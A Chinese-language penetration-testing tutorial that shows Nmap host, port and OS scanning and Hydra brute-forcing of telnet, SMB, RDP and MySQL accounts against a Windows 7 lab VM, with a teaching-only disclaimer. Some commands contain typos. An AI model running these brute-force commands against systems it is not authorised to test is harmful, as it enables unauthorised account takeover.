渗透测试— —扫描与爆破靶机账号

1 扫描与爆破账号流程

注意：仅用于教学与实验，不能用于攻击，否则后果自负

扫描：主机探测与端口扫描。（主机探测：目标主机是存活，端口扫描：在线主机所开放的端口，并且在该端口上运行的服务。甚至可以进一步确定目标主机操作系统类型和更详细信息）。
爆破：使用一定的工具和密码字典，爆破出对方服务的账号

此处我的靶机采用虚拟机中的win7（192.168.145.30），只要虚拟机可以和真实机通信即可，虚拟机可以不用连接到外网。【VMware直接设置为VMnet1或者VMnet8，然后配置ip即可】
参考：虚拟机网络模式配置

常见端口号与服务：

1.1 Nmap(扫描)

下载地址：http://www.nmap.com.cn/
推荐7.7版本，其他版本的windows不稳定

常见命令：

# 扫描10.1.1.0 整个网段
Nmap -Sp 10.1.1.1/24 
# 扫描10.1.1.1的21,23,24,25,3389几个端口
Nmap -p 21,23-25,3389 10.1.1.1 
# 扫描21,23的服务版本
Nmap -p 21,23 10.1.1.1 -sV

可以看到192.168.145.30的

# 全面扫描
Nmap -A 10.1.1.1
# 扫描目标系统版本[O是大写]
Nmap -O 10.1.1.1 
# 将生成的扫描报告存放在e:\result.txt文档中
Nmap -p 21,23 10.1.1.1 0oN e:\result.txt

扫描目标系统版本：

#Nmap或nmap都行，不区分大小写
nmap -O 192.168.145.30

1.2 Hydra（破解）

以九头蛇为例，用于破解靶机用户名和密码的（需要提供字典）
Hydra对应的英文意思是九头蛇，它是一款爆破神器，可以对多种服务的账号和密码进行破解，包括Web登录、数据库、SSH、FTP等服务，支持Linux、Windows、Mac平台安装，其中Kali Linux中自带Hydra。

下载地址：http://www.jisoupan.com/share/1151832.html

# 以用户名：admin，密码：123.com登录10.1.1.1的telnet服务
Hydra -l admin -p 123.com 10.1.1.1 telnet
# 用户名：admin，密码使用e:\pass.txt的密码字典爆破telnet服务
Hydra -l admin -P e:\pass.txt 10.1.1.1 telnet
# 用户名：admin，密码使用e:\pass.txt的密码字典爆破smb服务
Hydra -l admin  -P e:\pass.txt 10.1.1.1 smb
# 用户名：admin，密码使用e:\pass.txt的密码字典爆破rdp服务
Hydra -l admin  -P e:\pass.txt 10.1.1.1 rdp
# 用户名使用e:\user.txt，密码使用e:\pass.txt字典爆破 mysql服务
Hydra -L e:\user.txt -P e:\pass.txt 10.1.1.1 mysql

下载完软件后，进入软件所在目录：
本地自己新建两份字典：

• user.txt(目标机有可能的账号)
  
• pass.txt(目标机器有可能的密码)
  

爆破smb服务：

smb：共享服务
win7开启smb服务：

hydra -L e:\user.txt -P e:\pass.txt 192.168.145.30 smb

爆破结果：